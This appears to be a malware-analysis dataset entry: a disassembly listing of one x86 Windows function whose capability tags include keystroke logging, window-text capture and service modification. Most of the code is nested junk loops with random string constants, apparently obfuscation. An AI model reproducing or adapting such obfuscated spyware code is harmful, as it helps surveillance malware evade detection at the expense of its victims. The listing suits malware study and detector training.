Function at 0x45e29c
Capabilities:
Accept command line arguments
Authenticate hmac
Get file size
Get graphical window text
Identify system language via api
Log keystrokes
Log keystrokes via polling
Modify service
Query service status

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4af009
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xffc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 8], 2
jl 0x45f421
push 1
lea eax, [ebp - 0xed4]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.004500f7
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0xb20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0xb20]
lea edi, [ebp - 0xb14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x634], 0x580d
mov dword [ebp - 0xa68], str.gln_isvjddjw_bhcy_vsdtvooj_ncz_zeirpzet
cmp dword [ebp - 0x634], 0x5b96
jle 0x45e3b4
and dword [ebp - 0x39c], 0
jmp 0x45e334
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x429c
jge 0x45e3b4
and dword [ebp - 0x274], 0
jmp 0x45e356
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x34c3
jge 0x45e3af
mov eax, dword [ebp - 0x39c]
or eax, dword [ebp - 0x274]
cdq
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], edx
push dword [ebp - 0x8bc]
push dword [ebp - 0x8c0]
lea ecx, [ebp - 0xdc0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xdc0]
call fcn.004026e0
jmp 0x45e349
jmp 0x45e327
mov dword [ebp - 0x4e4], 0x3b89
and dword [ebp - 4], 0
cmp dword [ebp - 0x634], 0x548a
jge 0x45e3da
push dword [ebp - 0xa68]
call fcn.00482ed5
pop ecx
jmp 0x45e3f6
or dword [ebp - 4], 0xffffffff
jmp 0x45e400
mov dword [ebp - 0x4d4], 0x3289
mov dword [ebp - 0xac0], str.lpanxjs_bbbvns_kkcy_mjkjar_vchlvtkok_duphv_cbh_trhx_tonhrc_zzkijmjby_csak_ukuvn_lhsiwvllf_evfr
cmp dword [ebp - 0x4d4], 0x35d9
jle 0x45e50d
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
and dword [ebp - 0x2c], 0
jmp 0x45e43b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x285e
jge 0x45e50d
and dword [ebp - 0x24], 0
jmp 0x45e455
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x561b
jge 0x45e508
and dword [ebp - 0x434], 0
jmp 0x45e478
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0x5f36
jge 0x45e503
and dword [ebp - 0x27c], 0
jmp 0x45e49a
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x4fa2
jge 0x45e4fe
mov eax, dword [ebp - 0x24]
cdq
idiv dword [ebp - 0x434]
mov eax, dword [ebp - 0x2c]
sub eax, edx
mov ecx, dword [ebp - 0x27c]
shl eax, cl
cdq
mov dword [ebp - 0xa28], eax
mov dword [ebp - 0xa24], edx
push dword [ebp - 0xa24]
push dword [ebp - 0xa28]
lea ecx, [ebp - 0xb80]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xb80]
call fcn.004026e0
jmp 0x45e48d
jmp 0x45e46b
jmp 0x45e44e
jmp 0x45e434
mov dword [ebp - 0xac8], str.nqrbaog_clgop_klhmgy_szgliouq_pezxz_itdyliqkt_hisx_xgq_xrydbownx_kmys_hyv
mov dword [ebp - 4], 2
cmp dword [ebp - 0x4d4], 0x2ff0
jge 0x45e536
push dword [ebp - 0xac0]
call fcn.00482ed5
pop ecx
jmp 0x45e552
or dword [ebp - 4], 0xffffffff
jmp 0x45e55c
cmp dword [ebp - 0x4e4], 0x3cbf
jle 0x45e851
mov dword [ebp - 0x4dc], 0x2d7
mov dword [ebp - 0x99c], str.xpd_tbrmkjh_jsvbudq_huortw_wwixrav_cmzi_eibbitb
cmp dword [ebp - 0x4dc], 0x64a
jle 0x45e637
and dword [ebp - 0x34], 0
jmp 0x45e59d
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x5a58
jge 0x45e637
and dword [ebp - 0x3a4], 0
jmp 0x45e5c0
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x2f5
jge 0x45e632
and dword [ebp - 0x3c], 0
jmp 0x45e5d9
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x163e
jge 0x45e630
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x3a4]
xor eax, dword [ebp - 0x3c]
cdq
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], edx
push dword [ebp - 0x8cc]
push dword [ebp - 0x8d0]
lea ecx, [ebp - 0xfc4]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xfc4]
call fcn.004026e0
jmp 0x45e5d2
jmp 0x45e5b3
jmp 0x45e596
and dword [ebp - 0x4c], 0
jmp 0x45e644
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x6dbe
jge 0x45e80f
mov dword [ebp - 0x64c], 0x4ffe
mov dword [ebp - 0x670], str.komoyyis_gvjals_xowdmwna_hkxmvhsep_vjunv
cmp dword [ebp - 0x64c], 0x5167
jle 0x45e727
and dword [ebp - 0x4a4], 0
jmp 0x45e68b
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0x76ed
jge 0x45e70c
and dword [ebp - 0x284], 0
jmp 0x45e6ad
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x78db
jge 0x45e707
and dword [ebp - 0x44], 0
jmp 0x45e6c6
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x66d2
jge 0x45e705
mov ecx, dword [ebp - 0x284]
add ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4a4]
shl eax, cl
cdq
mov dword [ebp - 0xa34], eax
mov dword [ebp - 0xa30], edx
push dword [ebp - 0xa30]
push dword [ebp - 0xa34]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45e6bf
jmp 0x45e6a0
jmp 0x45e67e
push 0x138
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
and dword [ebp - 0x28c], 0
jmp 0x45e73d
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x4fe8
jge 0x45e7c1
and dword [ebp - 0x54], 0
jmp 0x45e756
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x1517
jge 0x45e7bc
and dword [ebp - 0x3ac], 0
jmp 0x45e775
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0xf3
jge 0x45e7ba
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x28c]
sar eax, cl
xor eax, dword [ebp - 0x54]
xor eax, dword [ebp - 0x3ac]
cdq
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], edx
push dword [ebp - 0x8dc]
push dword [ebp - 0x8e0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45e768
jmp 0x45e74f
jmp 0x45e730
mov dword [ebp - 4], 4
cmp dword [ebp - 0x64c], 0x4f85
jge 0x45e7e4
mov edx, dword [ebp - 0x670]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x45e800
or dword [ebp - 4], 0xffffffff
jmp 0x45e80a
jmp 0x45e63d
mov dword [ebp - 4], 6
cmp dword [ebp - 0x4dc], 4
jge 0x45e82b
push dword [ebp - 0x99c]
call fcn.00482ed5
pop ecx
jmp 0x45e847
or dword [ebp - 4], 0xffffffff
jmp 0x45e851
mov dword [ebp - 0x59c], 0x55f2
mov dword [ebp - 0x67c], str.dtt_tohrrscq_mjecuouqy_mgjcan_clqv_ebz_bttqocbz
cmp dword [ebp - 0x59c], 0x5899
jle 0x45e8ff
and dword [ebp - 0x5c], 0
jmp 0x45e882
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x1903
jge 0x45e8ff
and dword [ebp - 0x294], 0
jmp 0x45e8a1
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x1a2a
jge 0x45e8fa
mov eax, dword [ebp - 0x5c]
cdq
idiv dword [ebp - 0x294]
mov eax, edx
cdq
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0xa3c], edx
push dword [ebp - 0xa3c]
push dword [ebp - 0xa40]
lea ecx, [ebp - 0xbb0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xbb0]
call fcn.004026e0
jmp 0x45e894
jmp 0x45e87b
cmp dword [ebp - 0xb14], 0
je 0x45e91c
push 0
push dword [ebp - 0xb0c]
push dword [ebp - 0xb10]
call dword [ebp - 0xb14]
mov dword [ebp - 4], 8
cmp dword [ebp - 0x59c], 0x53ee
jge 0x45e93b
push dword [ebp - 0x67c]
call fcn.00482ed5
pop ecx
jmp 0x45e957
or dword [ebp - 4], 0xffffffff
jmp 0x45e961
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x5fc], 0x3409
mov dword [ebp - 0x688], str.wfxbic_viezijedh_xuukunjj_oeewxtvs_kepfm_ubasxarw_exlifxwkp_jrcul_nmwq_qenp
cmp dword [ebp - 0x5fc], 0x3481
jle 0x45ea3d
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
and dword [ebp - 0x6c], 0
jmp 0x45e99f
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x1f59
jge 0x45ea3d
and dword [ebp - 0x64], 0
jmp 0x45e9b9
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x57d0
jge 0x45ea38
and dword [ebp - 0x43c], 0
jmp 0x45e9d8
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x9c8
jge 0x45ea33
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x43c]
sar eax, cl
xor eax, dword [ebp - 0x6c]
cdq
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], edx
push dword [ebp - 0x8ec]
push dword [ebp - 0x8f0]
lea ecx, [ebp - 0xdf0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xdf0]
call fcn.004026e0
jmp 0x45e9cb
jmp 0x45e9b2
jmp 0x45e998
cmp dword [ebp - 0x4e4], 0x39e9
jge 0x45ea59
mov edx, dword [ebp - 0xac8]
mov ecx, 0xab96a0
call fcn.0047f6dc
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x5fc], 0x3028
jge 0x45ea75
push dword [ebp - 0x688]
call fcn.00482ed5
pop ecx
jmp 0x45ea91
mov dword [ebp - 4], 0xa
jmp 0x45eaa1
jmp 0x45ebb3
or dword [ebp - 4], 0xffffffff
jmp 0x45ebbd
mov dword [ebp - 0x504], 0x1e39
mov dword [ebp - 0x5a4], 0x6003
mov dword [ebp - 0x694], str.ehxsaqvuk_gxfhbyca_msvc_cvrvxrf_qod_jiqsft_zabdpetxz_kmpkjqa_uxmze_vggcpnh
cmp dword [ebp - 0x5a4], 0x6090
jle 0x45ec71
and dword [ebp - 0x3b4], 0
jmp 0x45ec01
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x159e
jge 0x45ec71
and dword [ebp - 0x7c], 0
jmp 0x45ec1a
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x4401
jge 0x45ec6f
mov eax, dword [ebp - 0x3b4]
mov ecx, dword [ebp - 0x7c]
sar eax, cl
cdq
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], edx
push dword [ebp - 0x8fc]
push dword [ebp - 0x900]
lea ecx, [ebp - 0xf04]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf04]
call fcn.004026e0
jmp 0x45ec13
jmp 0x45ebf4
mov dword [ebp - 0xad8], str.akf_rwrkrzw_mtdrtxxnz_mwa_kyk_ggixoz_swokdqbuv_hrqfelycw_ndwtq_koeckn_flgi_avttajbvw_dgezxmj
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x5a4], 0x5fb0
jge 0x45ec9a
push dword [ebp - 0x694]
call fcn.00482ed5
pop ecx
jmp 0x45ecb6
or dword [ebp - 4], 0xffffffff
jmp 0x45ecc0
mov dword [ebp - 0x5ac], 0x2876
mov dword [ebp - 0x6ac], str.kxxln_ocbcqmci_drt_tyohri_wrzurf_svroktyqw_ryn_aqqsxor
cmp dword [ebp - 0x5ac], 0x29e8
jle 0x45edad
and dword [ebp - 0x2a4], 0
jmp 0x45ecfa
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x5e17
jge 0x45edad
and dword [ebp - 0x84], 0
jmp 0x45ed20
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x2459
jge 0x45eda8
and dword [ebp - 0x484], 0
jmp 0x45ed42
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x7004
jge 0x45eda3
mov eax, dword [ebp - 0x2a4]
sub eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x484]
shl eax, cl
cdq
mov dword [ebp - 0xa58], eax
mov dword [ebp - 0xa54], edx
push dword [ebp - 0xa54]
push dword [ebp - 0xa58]
lea ecx, [ebp - 0xc10]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xc10]
call fcn.004026e0
jmp 0x45ed35
jmp 0x45ed13
jmp 0x45eced
cmp dword [ebp - 0x504], 0x1e65
jle 0x45f172
mov dword [ebp - 0x4fc], 0x70e9
mov dword [ebp - 0x9b4], str.qyzfmcius_okublbsv_ckuhgmag_rkztbf
cmp dword [ebp - 0x4fc], 0x737d
jle 0x45eede
and dword [ebp - 0x94], 0
jmp 0x45edf7
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x4d7c
jge 0x45eede
and dword [ebp - 0x8c], 0
jmp 0x45ee1d
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x3bc5
jge 0x45eed9
and dword [ebp - 0x2ac], 0
jmp 0x45ee43
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x4ee7
jge 0x45eed4
and dword [ebp - 0x3bc], 0
jmp 0x45ee69
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x3f3b
jge 0x45eecf
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x2ac]
add eax, dword [ebp - 0x94]
xor eax, dword [ebp - 0x3bc]
cdq
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], edx
push dword [ebp - 0x90c]
push dword [ebp - 0x910]
lea ecx, [ebp - 0xe20]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe20]
call fcn.004026e0
jmp 0x45ee5c
jmp 0x45ee36
jmp 0x45ee10
jmp 0x45edea
and dword [ebp - 0xa4], 0
jmp 0x45eef4
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x2854
jge 0x45f12d
mov dword [ebp - 0x62c], 0x5b65
mov dword [ebp - 0x6a0], str.lxpazuju_geoy_deqjke_czhyotzt_qpzetd_svogft
cmp dword [ebp - 0x62c], 0x5c51
jle 0x45ef9d
and dword [ebp - 0x9c], 0
jmp 0x45ef3a
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x2637
jge 0x45ef9d
and dword [ebp - 0x2b4], 0
jmp 0x45ef5c
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x7486
jge 0x45ef9b
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x2b4]
shl eax, cl
cdq
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa60], edx
push dword [ebp - 0xa60]
push dword [ebp - 0xa64]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45ef4f
jmp 0x45ef2d
and dword [ebp - 0x444], 0
jmp 0x45efb3
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x5aa9
jge 0x45f0df
mov eax, dword [ebp - 0xa4]
sub eax, dword [ebp - 0x444]
cdq
mov dword [ebp - 0xa70], eax
mov dword [ebp - 0xa6c], edx
mov dword [ebp - 0x4f4], 0xd0e
mov dword [ebp - 0xad0], str.wncovwsct_iwh_dbzii_nvcach_xlqetrph_qqhrygrg_mvjqhiffm
cmp dword [ebp - 0x4f4], 0xf19
jle 0x45f07b
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
and dword [ebp - 0xac], 0
jmp 0x45f01a
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x5276
jge 0x45f07b
and dword [ebp - 0x2bc], 0
jmp 0x45f03c
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x29d3
jge 0x45f079
mov eax, dword [ebp - 0xac]
xor eax, dword [ebp - 0x2bc]
cdq
mov dword [ebp - 0x920], eax
mov dword [ebp - 0x91c], edx
push dword [ebp - 0x91c]
push dword [ebp - 0x920]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45f02f
jmp 0x45f00d
push dword [ebp - 0xa6c]
push dword [ebp - 0xa70]
mov ecx, 0xab96a0
call fcn.0047e22e
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x4f4], 0xaf6
jge 0x45f0b4
mov edx, dword [ebp - 0xad0]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x45f0d0
or dword [ebp - 4], 0xffffffff
jmp 0x45f0da
jmp 0x45efa6
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x62c], 0x5923
jge 0x45f102
mov edx, dword [ebp - 0x6a0]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x45f11e
or dword [ebp - 4], 0xffffffff
jmp 0x45f128
jmp 0x45eee7
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x4fc], 0x70a7
jge 0x45f14c
push dword [ebp - 0x9b4]
call fcn.00482ed5
pop ecx
jmp 0x45f168
or dword [ebp - 4], 0xffffffff
jmp 0x45f172
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x5ac], 0x2645
jge 0x45f191
push dword [ebp - 0x6ac]
call fcn.00482ed5
pop ecx
jmp 0x45f1ad
or dword [ebp - 4], 0xffffffff
jmp 0x45f1b7
jmp 0x46588c
mov dword [ebp - 0x524], 0x4fcd
mov dword [ebp - 0x5b4], 0x7f95
mov dword [ebp - 0x6c4], str.ulyacszc_hng_zrnces_aygtalrrv_rtn_pqfdc_lxba_arvrs
cmp dword [ebp - 0x5b4], 0x80c9
jle 0x45f51b
and dword [ebp - 0xcc], 0
jmp 0x45f465
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x4df1
jge 0x45f51b
and dword [ebp - 0xc4], 0
jmp 0x45f48b
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x5553
jge 0x45f516
and dword [ebp - 0x4c4], 0
jmp 0x45f4ad
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x51b0
jge 0x45f511
mov eax, dword [ebp - 0xc4]
cdq
idiv dword [ebp - 0x4c4]
mov eax, dword [ebp - 0xcc]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], edx
push dword [ebp - 0x93c]
push dword [ebp - 0x940]
lea ecx, [ebp - 0xf94]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf94]
call fcn.004026e0
jmp 0x45f4a0
jmp 0x45f47e
jmp 0x45f458
mov dword [ebp - 0xae8], str.fyczwylpe_ynohzp_lwj_jhoosp_oolwxywby_nstgpt_usyddzrzj_ujcujoq_rjssejol_ppaopr_qfncncd_jpo_ryi
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x5b4], 0x7df6
jge 0x45f544
push dword [ebp - 0x6c4]
call fcn.00482ed5
pop ecx
jmp 0x45f560
or dword [ebp - 4], 0xffffffff
jmp 0x45f56a
mov dword [ebp - 0x51c], 0x5d1
mov dword [ebp - 0x9cc], str.yzzt_cbbs_wffzqhc_upbymik_suntd_xidrc_vcpzg_dfknlerqx_taav
cmp dword [ebp - 0x51c], 0x6dd
jle 0x45f624
and dword [ebp - 0x2cc], 0
jmp 0x45f5a4
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x9af
jge 0x45f624
and dword [ebp - 0xd4], 0
jmp 0x45f5c6
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x59f
jge 0x45f61f
mov eax, dword [ebp - 0x2cc]
xor eax, dword [ebp - 0xd4]
cdq
mov dword [ebp - 0xa88], eax
mov dword [ebp - 0xa84], edx
push dword [ebp - 0xa84]
push dword [ebp - 0xa88]
lea ecx, [ebp - 0xc70]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xc70]
call fcn.004026e0
jmp 0x45f5b9
jmp 0x45f597
cmp dword [ebp - 0x524], 0x522d
jle 0x45f93d
and dword [ebp - 0xe4], 0
jmp 0x45f64a
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x9ae
jge 0x45f93d
and dword [ebp - 0x44c], 0
jmp 0x45f670
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x4049
jge 0x45f938
mov dword [ebp - 0x514], 0x3175
mov dword [ebp - 0xae0], str.mcjcauhib_dlxbcof_zzhscf_nlgyc_tegdbb
cmp dword [ebp - 0x514], 0x3423
jle 0x45f76b
and dword [ebp - 0x3cc], 0
jmp 0x45f6ba
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x6840
jge 0x45f76b
and dword [ebp - 0xdc], 0
jmp 0x45f6e0
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x3f15
jge 0x45f766
and dword [ebp - 0x2d4], 0
jmp 0x45f702
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x7df8
jge 0x45f761
mov eax, dword [ebp - 0x3cc]
sub eax, dword [ebp - 0xdc]
or eax, dword [ebp - 0x2d4]
cdq
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x94c], edx
push dword [ebp - 0x94c]
push dword [ebp - 0x950]
lea ecx, [ebp - 0xe50]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe50]
call fcn.004026e0
jmp 0x45f6f5
jmp 0x45f6d3
jmp 0x45f6ad
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x44c]
shl eax, cl
cdq
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], edx
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x514], 0x3167
jge 0x45f7a5
push dword [ebp - 0xae0]
call fcn.00482ed5
pop ecx
jmp 0x45f7c1
or dword [ebp - 4], 0xffffffff
jmp 0x45f7cb
mov dword [ebp - 0x644], 0x3bde
mov dword [ebp - 0x6d0], str.txcu_iiiybqhjs_bfodlipo_dgx
cmp dword [ebp - 0x644], 0x3e1f
jle 0x45f8bc
call dword [sym.imp.USER32.dll_WaitMessage]
and dword [ebp - 0xec], 0
jmp 0x45f80b
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x75ba
jge 0x45f8bc
and dword [ebp - 0x2dc], 0
jmp 0x45f831
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x4c7c
jge 0x45f8b7
and dword [ebp - 0xf4], 0
jmp 0x45f853
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x7c77
jge 0x45f8b2
mov eax, dword [ebp - 0xec]
add eax, dword [ebp - 0x2dc]
and eax, dword [ebp - 0xf4]
cdq
mov dword [ebp - 0xa94], eax
mov dword [ebp - 0xa90], edx
push dword [ebp - 0xa90]
push dword [ebp - 0xa94]
lea ecx, [ebp - 0xca0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xca0]
call fcn.004026e0
jmp 0x45f846
jmp 0x45f824
jmp 0x45f7fe
push dword [ebp - 0x95c]
push dword [ebp - 0x960]
lea ecx, [ebp - 0xf34]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf34]
call fcn.004026e0
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x644], 0x3970
jge 0x45f90d
push dword [ebp - 0x6d0]
call fcn.00482ed5
pop ecx
jmp 0x45f929
or dword [ebp - 4], 0xffffffff
jmp 0x45f933
jmp 0x45f663
jmp 0x45f63d
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x51c], 0x597
jge 0x45f95c
push dword [ebp - 0x9cc]
call fcn.00482ed5
pop ecx
jmp 0x45f978
or dword [ebp - 4], 0xffffffff
jmp 0x45f982
mov dword [ebp - 0x5bc], 0xba0
mov dword [ebp - 0x6dc], str.uzvpt_prhwwxnu_ffippukhp_jzvibb_tzky_zplltaeu_chodexcbq_rafq_nezmdxcx_sqdbqa_uzoctebt
cmp dword [ebp - 0x5bc], 0xbb0
jle 0x45faa2
and dword [ebp - 0x104], 0
jmp 0x45f9bc
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x6dee
jge 0x45faa2
and dword [ebp - 0x3d4], 0
jmp 0x45f9e2
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x55ac
jge 0x45fa9d
and dword [ebp - 0xfc], 0
jmp 0x45fa08
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x1c3e
jge 0x45fa98
and dword [ebp - 0x2e4], 0
jmp 0x45fa2e
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x5fd4
jge 0x45fa93
mov eax, dword [ebp - 0x3d4]
add eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0x2e4]
and eax, dword [ebp - 0x104]
